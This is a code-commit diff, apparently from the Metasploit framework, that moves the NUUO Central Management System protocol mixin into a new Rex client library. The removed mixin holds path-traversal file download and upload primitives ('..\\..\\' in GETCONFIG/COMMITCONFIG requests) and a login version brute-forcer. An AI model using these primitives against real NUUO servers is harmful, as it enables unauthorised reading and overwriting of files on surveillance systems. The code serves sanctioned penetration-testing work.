Move ncs mixin code to rex
parent
7d383d8bde
commit
028890ec51
|
@ -125,4 +125,4 @@ require 'msf/core/exploit/kerberos/client'
|
|||
|
||||
# Other
|
||||
require 'msf/core/exploit/windows_constants'
|
||||
require 'msf/core/exploit/remote/nuuo'
|
||||
require 'msf/core/exploit/nuuo'
|
||||
|
|
|
@ -0,0 +1,125 @@
|
|||
require 'msf/core/exploit/tcp'
|
||||
require 'rex/proto/nuuo'
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that speak Nuuo NUCM protocol for their devices and management software.
|
||||
#
|
||||
###
|
||||
# NUUO Central Management System (NCS)
|
||||
module Msf
|
||||
module Exploit::Remote::Nuuo
|
||||
#
|
||||
# Creates an instance of an Nuuo exploit module.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib@gmail.com>'
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(5180),
|
||||
OptString.new('NCSSESSION', [false, 'Session number of logged in user']),
|
||||
OptString.new('NCSUSER', [false, 'NUUO Central Management System username', 'admin']),
|
||||
OptString.new('NCSPASS', [false, 'Password for NCSUSER',])
|
||||
], Msf::Exploit::Remote::Nuuo)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('NCSVERSION', [false, 'Version header used during login']),
|
||||
OptBool.new('NCSBRUTEAPI', [false, 'Bruteforce Version header used during login', false]),
|
||||
OptBool.new('NCSTRACE', [false, 'Show NCS requests and responses', false])
|
||||
], Msf::Exploit::Remote::Nuuo)
|
||||
end
|
||||
|
||||
def connect(global=true)
|
||||
c = Rex::Proto::Nuuo::Client.new({
|
||||
host: datastore['RHOST'],
|
||||
username: datastore['NCSUSER'],
|
||||
password: datastore['NCSPASS'],
|
||||
user_session: datastore['NCSSESSION']
|
||||
})
|
||||
|
||||
client.close if self.client && global
|
||||
self.client = c if global
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
def ncs_send_request(req)
|
||||
if datastore['NCSTRACE']
|
||||
print_status("Request:\r\n#{req.to_s}")
|
||||
end
|
||||
|
||||
res = client.send_recv(req)
|
||||
|
||||
if datastore['NCSTRACE']
|
||||
print_status("Response:\r\n#{res}")
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def ncs_login
|
||||
unless datastore['NCSVERSION'] || server_version
|
||||
if datastore['NCSBRUTEAPI']
|
||||
vprint_status('Bruteforcing Version string')
|
||||
self.server_version = ncs_version_bruteforce
|
||||
else
|
||||
print_error('Set NCSBRUTEAPI to bruteforce the Version string or NCSVERSION to set a version string')
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
self.server_version ||= datastore['NCSVERSION']
|
||||
unless server_version
|
||||
print_error('Failed to determine server version')
|
||||
return nil
|
||||
end
|
||||
|
||||
req = client.request_userlogin({
|
||||
'server_version' => server_version
|
||||
})
|
||||
|
||||
res = ncs_send_request(req)
|
||||
if res =~ /User-Session-No: ([a-zA-Z0-9]+)/
|
||||
self.user_session = $1
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def ncs_version_bruteforce
|
||||
res = ''
|
||||
Rex::Proto::Nuuo::Constants::VERSIONS.shuffle.each do |version|
|
||||
req = client.request_userlogin({
|
||||
'server_version' => version
|
||||
})
|
||||
begin
|
||||
res = ncs_send_request(req)
|
||||
rescue
|
||||
print_error('The connection was closed')
|
||||
end
|
||||
|
||||
client.close
|
||||
if res =~ /User-Session/
|
||||
vprint_good("Valid version detected: #{version}")
|
||||
return version
|
||||
end
|
||||
res = ''
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
attr_accessor :client
|
||||
attr_accessor :server_version
|
||||
attr_accessor :user_session
|
||||
end
|
||||
end
|
|
@ -1,196 +0,0 @@
|
|||
require 'msf/core/exploit/tcp'
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that speak Nuuo NUCM protocol for their devices and management software.
|
||||
#
|
||||
###
|
||||
module Msf
|
||||
module Exploit::Remote::Nuuo
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
#
|
||||
# Creates an instance of an Nuuo exploit module.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib@gmail.com>'
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(5180),
|
||||
OptString.new('SESSION', [false, 'Session number of logged in user']),
|
||||
OptString.new('USERNAME', [false, 'Username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'Password for the specified user', '']),
|
||||
], Msf::Exploit::Remote::Nuuo)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
|
||||
])
|
||||
|
||||
@nucs_session = nil
|
||||
|
||||
# All NUCS versions at time of release
|
||||
# Note that these primitives are not guaranteed to work in all versions
|
||||
# Add new version strings here
|
||||
# We need these to login;
|
||||
# when requesting a USERLOGIN we need to send the same version as the server...
|
||||
@nucs_versions =
|
||||
[
|
||||
"1.3.1",
|
||||
"1.3.3",
|
||||
"1.5.0",
|
||||
"1.5.2",
|
||||
"1.6.0",
|
||||
"1.7.0",
|
||||
"2.1.0",
|
||||
"2.3.0",
|
||||
"2.3.1",
|
||||
"2.3.2",
|
||||
"2.4.0",
|
||||
"2.5.0",
|
||||
"2.6.0",
|
||||
"2.7.0",
|
||||
"2.8.0",
|
||||
"2.9.0",
|
||||
"2.10.0",
|
||||
"2.11.0",
|
||||
"3.0.0",
|
||||
"3.1.0",
|
||||
"3.2.0",
|
||||
"3.3.0",
|
||||
"3.4.0",
|
||||
"3.5.0"
|
||||
]
|
||||
|
||||
@nucs_version = nil
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# Sends a protocol message aynchronously - fire and forget
|
||||
##
|
||||
def nucs_send_msg_async(msg)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
||||
sock.write(format_msg(msg))
|
||||
# socket cannot be closed, it causes exploits to fail...
|
||||
#sock.close
|
||||
rescue
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Sends a protocol data message synchronously - sends and returns the result
|
||||
# A data message is composed of two parts: first the message length and protocol headers,
|
||||
# then the actual data, while a non-data message only contains the first part.
|
||||
##
|
||||
def nucs_send_msg(msg, data = nil)
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
||||
sock.write(format_msg(msg))
|
||||
if data != nil
|
||||
sock.write(data.to_s)
|
||||
end
|
||||
res = sock.recv(4096)
|
||||
more_data = ''
|
||||
if res =~ /Content-Length:([0-9]+)/
|
||||
data_sz = $1.to_i
|
||||
recv = 0
|
||||
while recv < data_sz
|
||||
new_data = sock.recv(4096)
|
||||
break if !new_data || new_data.length == 0
|
||||
more_data << new_data
|
||||
recv += new_data.length
|
||||
end
|
||||
end
|
||||
# socket cannot be closed, it causes exploits to fail...
|
||||
#sock.close
|
||||
return [res, more_data]
|
||||
rescue
|
||||
return ['', '']
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# Downloads a file from the CMS install root.
|
||||
# Add the ZIP extraction and decryption routine once support for it is added to msf.
|
||||
##
|
||||
def nucs_download_file(filename, decrypt = false)
|
||||
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
|
||||
data[1]
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# Uploads a file to the CMS install root.
|
||||
##
|
||||
def nucs_upload_file(filename, file_data)
|
||||
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
|
||||
if data[0] =~ /200/
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# logs in to the NUCS server
|
||||
# first, it tries to use the datastore SESSION if such exists
|
||||
# if not, it then tries to login using the datastore USERNAME and PASSWORD
|
||||
# In order to login properly, we need to guess the server version...
|
||||
# ... so just try all of them until we hit the right one
|
||||
def nucs_login
|
||||
if datastore['SESSION'] != nil
|
||||
# since we're logged in, we don't need to guess the version any more
|
||||
@nucs_session = datastore['SESSION']
|
||||
return
|
||||
end
|
||||
|
||||
@nucs_versions.shuffle.each do |version|
|
||||
@nucs_version = version
|
||||
|
||||
res = nucs_send_msg(
|
||||
[
|
||||
"USERLOGIN",
|
||||
"Version: #{@nucs_version}",
|
||||
"Username: #{datastore['USERNAME']}",
|
||||
"Password-Length: #{datastore['PASSWORD'].length}",
|
||||
"TimeZone-Length: 0"
|
||||
],
|
||||
datastore['PASSWORD']
|
||||
)
|
||||
|
||||
if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
|
||||
@nucs_session = $1
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
##
|
||||
# Formats the message we want to send into the correct protocol format
|
||||
##
|
||||
def format_msg(msg)
|
||||
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
|
||||
for line in msg[1...msg.length]
|
||||
final_msg += "#{line}\r\n"
|
||||
end
|
||||
if not final_msg =~ /USERLOGIN/
|
||||
final_msg += "User-Session-No: #{@nucs_session}\r\n"
|
||||
end
|
||||
return final_msg + "\r\n"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# NUUO implementation
|
||||
|
||||
#require 'rex/socket'
|
||||
require 'rex/proto/nuuo/client'
|
||||
require 'rex/proto/nuuo/client_request'
|
||||
require 'rex/proto/nuuo/constants'
|
|
@ -0,0 +1,231 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Nuuo
|
||||
# This class is a representation of a nuuo client
|
||||
class Client
|
||||
# @!attribute host
|
||||
# @return [String] The nuuo server host
|
||||
attr_accessor :host
|
||||
# @!attribute port
|
||||
# @return [Integer] The nuuo server port
|
||||
attr_accessor :port
|
||||
# @!attribute timeout
|
||||
# @return [Integer] The connect/read timeout
|
||||
attr_accessor :timeout
|
||||
# @!attribute protocol
|
||||
# @return [String] The transport protocol used (tcp/udp)
|
||||
attr_accessor :protocol
|
||||
# @!attribute connection
|
||||
# @return [IO] The connection established through Rex sockets
|
||||
attr_accessor :connection
|
||||
# @!attribute context
|
||||
# @return [Hash] The Msf context where the connection belongs to
|
||||
attr_accessor :context
|
||||
# @!attribute ncs_version
|
||||
# @return [String] NCS version used in session
|
||||
attr_accessor :ncs_version
|
||||
# @!attribute username
|
||||
# @return [String] Username for NCS
|
||||
attr_accessor :username
|
||||
# @!attribute password
|
||||
# @return [String] Password for NCS user
|
||||
attr_accessor :password
|
||||
# @!attribute user_session
|
||||
# @return [String] ID for the user session
|
||||
attr_accessor :user_session
|
||||
# @!attribute config
|
||||
# @return [Hash] ClientRequest configuration options
|
||||
attr_accessor :config
|
||||
|
||||
def initialize(opts = {})
|
||||
self.host = opts[:host]
|
||||
self.port = opts[:port] || 5180
|
||||
self.timeout = opts[:timeout] || 10
|
||||
self.protocol = opts[:protocol] || 'tcp'
|
||||
self.context = opts[:context] || {}
|
||||
self.username = opts[:username]
|
||||
self.password = opts[:password]
|
||||
self.user_session = opts[:user_session]
|
||||
|
||||
self.config = Nuuo::ClientRequest::DefaultConfig
|
||||
end
|
||||
|
||||
# Creates a connection through a Rex socket
|
||||
#
|
||||
# @return [Rex::Socket::Tcp]
|
||||
# @raise [RuntimeError] if 'tcp' is not requested
|
||||
def connect
|
||||
return connection if connection
|
||||
return create_tcp_connection if protocol == 'tcp'
|
||||
raise ::RuntimeError, 'Nuuo Client: Unknown transport protocol'
|
||||
end
|
||||
|
||||
# Closes the connection
|
||||
def close
|
||||
if connection
|
||||
connection.shutdown
|
||||
connection.close unless connection.closed?
|
||||
end
|
||||
|
||||
self.connection = nil
|
||||
end
|
||||
|
||||
def send_recv(req)
|
||||
send_request(req)
|
||||
read_response
|
||||
end
|
||||
|
||||
def send_request(req)
|
||||
connect.put(req.to_s)
|
||||
end
|
||||
|
||||
def read_response
|
||||
connection.get_once
|
||||
end
|
||||
|
||||
def request_ping(opts={})
|
||||
opts = self.config.merge(opts)
|
||||
opts['headers'] ||= {}
|
||||
opts['method'] = 'PING'
|
||||
|
||||
opts['headers']['User-Session-No'] = opts['user_session']
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
def request_sendlicfile(opts={})
|
||||
opts = self.config.merge(opts)
|
||||
opts['headers'] ||= {}
|
||||
opts['method'] = 'SENDLICFILE'
|
||||
|
||||
opts['headers']['FileName'] = opts['file_name']
|
||||
opts['headers']['User-Session-No'] = opts['user_session']
|
||||
unless opts['data']
|
||||
opts['data'] = ''
|
||||
end
|
||||
opts['headers']['Content-Length'] = opts['data'].length
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
# GETCONFIG
|
||||
# FileName:
|
||||
# FileType: 1
|
||||
# User-Session-No: <session-no>
|
||||
# @return [ClientRequest]
|
||||
def request_getconfig(opts={})
|
||||
opts = self.config.merge(opts)
|
||||
opts['headers'] ||= {}
|
||||
opts['method'] = 'GETCONFIG'
|
||||
|
||||
opts['headers']['FileName'] = opts['file_name']
|
||||
opts['headers']['FileType'] = opts['file_type'] || 1
|
||||
opts['headers']['User-Session-No'] = opts['user_session']
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
# COMMITCONFIG
|
||||
# FileName:
|
||||
# FileType: 1
|
||||
# Content-Length
|
||||
# User-Session-No: <session-no>
|
||||
#
|
||||
# <data> filedata
|
||||
# @return [ClientRequest]
|
||||
def request_commitconfig(opts={})
|
||||
opts = self.config.merge(opts)
|
||||
opts['headers'] ||= {}
|
||||
opts['method'] = 'COMMITCONFIG'
|
||||
|
||||
opts['headers']['FileName'] = opts['file_name']
|
||||
opts['headers']['FileType'] = opts['file_type'] || 1
|
||||
opts['headers']['User-Session-No'] = opts['user_session']
|
||||
unless opts['data']
|
||||
opts['data'] = ''
|
||||
end
|
||||
opts['headers']['Content-Length'] = opts['data'].length
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
# USERLOGIN
|
||||
# Version:
|
||||
# Username:
|
||||
# Password-Length:
|
||||
# TimeZone-Length: 0
|
||||
#
|
||||
# <data> password
|
||||
# @return [ClientRequest]
|
||||
def request_userlogin(opts={})
|
||||
opts = self.config.merge(opts)
|
||||
opts['headers'] ||= {}
|
||||
opts['method'] = 'USERLOGIN'
|
||||
|
||||
# Account for version...
|
||||
opts['headers']['Version'] = opts['server_version']
|
||||
|
||||
username = ''
|
||||
if opts['username'] && opts['username'] != ''
|
||||
username = opts['username']
|
||||
elsif self.username && self.username != ''
|
||||
username = self.username
|
||||
end
|
||||
|
||||
opts['headers']['Username'] = username
|
||||
opts['username'] = username
|
||||
|
||||
password = ''
|
||||
if opts['password'] && opts['password'] != ''
|
||||
password = opts['password']
|
||||
elsif self.password && self.password != ''
|
||||
password = self.password
|
||||
end
|
||||
opts['headers']['Password-Length'] = password.length
|
||||
opts['password'] = password
|
||||
opts['data'] = password
|
||||
|
||||
# Need to verify if this is needed
|
||||
opts['headers']['TimeZone-Length'] = '0'
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
# GETOPENALARM NUCM/1.0
|
||||
# DeviceID: <number>
|
||||
# SourceServer: <server-id>
|
||||
# LastOne: <number>
|
||||
# @return [ClientRequest]
|
||||
def request_getopenalarm(opts={})
|
||||
opts = self.config.merge(opts)
|
||||
opts['headers'] ||= {}
|
||||
opts['method'] = 'GETOPENALARM'
|
||||
|
||||
opts['headers']['DeviceID'] = opts['device_id'] || 1
|
||||
opts['headers']['SourceServer'] = opts['source_server'] || 1
|
||||
opts['headers']['LastOne'] = opts['last_one'] || 1
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
# Creates a TCP connection using Rex::Socket::Tcp
|
||||
#
|
||||
# @return [Rex::Socket::Tcp]
|
||||
def create_tcp_connection
|
||||
self.connection = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => host,
|
||||
'PeerPort' => port.to_i,
|
||||
'Context' => context,
|
||||
'Timeout' => timeout
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,113 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Nuuo
|
||||
|
||||
class ClientRequest
|
||||
|
||||
DefaultConfig = {
|
||||
#
|
||||
# Nuuo stuff
|
||||
#
|
||||
'method' => 'USERLOGIN',
|
||||
'server_version' => nil,
|
||||
#'username' => nil,
|
||||
#'password' => nil,
|
||||
#'timezone' => nil,
|
||||
'data' => nil,
|
||||
'headers' => nil,
|
||||
'proto' => 'NUCM',
|
||||
'version' => '1.0',
|
||||
'file_name' => nil,
|
||||
'file_type' => nil,
|
||||
'user_session' => nil,
|
||||
#'device_id' => nil,
|
||||
#'source_server' => nil,
|
||||
#'last_one' => nil,
|
||||
}
|
||||
|
||||
attr_reader :opts
|
||||
|
||||
def initialize(opts={})
|
||||
@opts = DefaultConfig.merge(opts)
|
||||
@opts['headers'] ||= {}
|
||||
end
|
||||
|
||||
def to_s
|
||||
# Set default header: <method> <proto/version>
|
||||
req = ''
|
||||
req << set_method
|
||||
req << ' '
|
||||
req << set_proto_version
|
||||
|
||||
# Set headers
|
||||
req << set_header('server_version', 'Version')
|
||||
#req << set_header('username', 'Username')
|
||||
#req << set_length_header('password', 'Password-Length')
|
||||
#req << set_length_header('timezone', 'TimeZone-Length')
|
||||
req << set_header('file_name', 'FileName')
|
||||
req << set_header('file_type', 'FileType')
|
||||
#req << set_length_header('data', 'Content-Length')
|
||||
req << set_header('user_session', 'User-Session-No')
|
||||
|
||||
# Add any additional headers
|
||||
req << set_extra_headers
|
||||
|
||||
# Set data
|
||||
req << set_body
|
||||
end
|
||||
|
||||
def set_method
|
||||
"#{opts['method']}"
|
||||
end
|
||||
|
||||
def set_proto_version
|
||||
"#{opts['proto']}/#{opts['version']}\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Return <name> header
|
||||
#
|
||||
def set_header(key, name)
|
||||
if opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name.downcase)
|
||||
return ''
|
||||
end
|
||||
|
||||
opts[key] ? set_formatted_header(name, opts[key]) : ''
|
||||
end
|
||||
|
||||
# Return <name> length header
|
||||
def set_length_header(key, name)
|
||||
if opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name)
|
||||
return ''
|
||||
end
|
||||
|
||||
return '' unless opts[key]
|
||||
set_formatted_header(name, opts[key].to_s.length)
|
||||
end
|
||||
|
||||
#
|
||||
# Return additional headers
|
||||
#
|
||||
def set_extra_headers
|
||||
buf = ''
|
||||
opts['headers'].each_pair do |var,val|
|
||||
buf << set_formatted_header(var,val)
|
||||
end
|
||||
|
||||
buf
|
||||
end
|
||||
|
||||
def set_body
|
||||
return "\r\n#{opts['data']}"
|
||||
end
|
||||
|
||||
def set_formatted_header(var, val)
|
||||
"#{var}: #{val}\r\n"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,45 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module Nuuo
|
||||
class Constants
|
||||
VERSIONS =
|
||||
[
|
||||
'1.3.1',
|
||||
'1.3.3',
|
||||
'1.5.0',
|
||||
'1.5.2',
|
||||
'1.6.0',
|
||||
'1.7.0',
|
||||
'2.1.0',
|
||||
'2.3.0',
|
||||
'2.3.1',
|
||||
'2.3.2',
|
||||
'2.4.0',
|
||||
'2.5.0',
|
||||
'2.6.0',
|
||||
'2.7.0',
|
||||
'2.8.0',
|
||||
'2.9.0',
|
||||
'2.10.0',
|
||||
'2.11.0',
|
||||
'3.0.0',
|
||||
'3.1.0',
|
||||
'3.2.0',
|
||||
'3.3.0',
|
||||
'3.4.0',
|
||||
'3.5.0'
|
||||
]
|
||||
=begin
|
||||
FILE_BASE = 0
|
||||
FILE_IMAGES_MAP = 1
|
||||
FILE_TYPE =
|
||||
[
|
||||
FILE_BASE,
|
||||
FILE_IMAGES_MAP
|
||||
]
|
||||
=end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue